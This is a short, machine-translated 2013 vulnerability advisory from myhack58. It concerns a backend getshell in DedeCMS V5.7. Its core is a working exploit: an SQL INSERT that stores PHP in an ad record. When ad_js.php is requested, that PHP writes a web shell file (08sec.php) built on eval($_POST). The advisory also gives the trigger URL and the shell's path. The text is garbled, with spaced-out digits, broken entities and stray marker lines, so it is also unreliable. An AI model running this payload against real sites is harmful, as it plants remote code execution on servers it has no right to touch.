Dede background getshell【2 0 1 3 0 7 1 5】-bug warning-the black bar safety net

2013-10-24T00:00:00
ID MYHACK58:62201341033
Type myhack58
Reporter 佚名
Modified 2013-10-24T00:00:00

Description

The test version is: V5. 7 2 0 1 3 0 7 1 5

Test steps: Background-the SQL command to run-execute the command

| 1 | INSERT INTO dede_myad (aid, clsid, typeid, tagname, adname, timeset, starttime, endtime, normbody, expbody) VALUES ---|---

2 | (2 0 0 0, 0, 0, 'indexTopBanner1', 'home page top navigation larger image-5 0 0*6 0', 0, 1 2 9 7 9 3 3 0 2 8, 1 3 0 0 5 2 5 0 2 8, '<? php file_put_contents("08sec.php","<? php eval($_POST[0 8]);?& gt;"); ?& gt;', "); ---|---

! 0 1 3 1 0 2 2 1 4 0 1 3 7

Visit: http://site/plus/ad_js.php?aid=2000 id please-replaceable)

File generated at: site/plus/08sec.php

! 2 0 1 3 1 0 2 2 1 3 5 4 4 9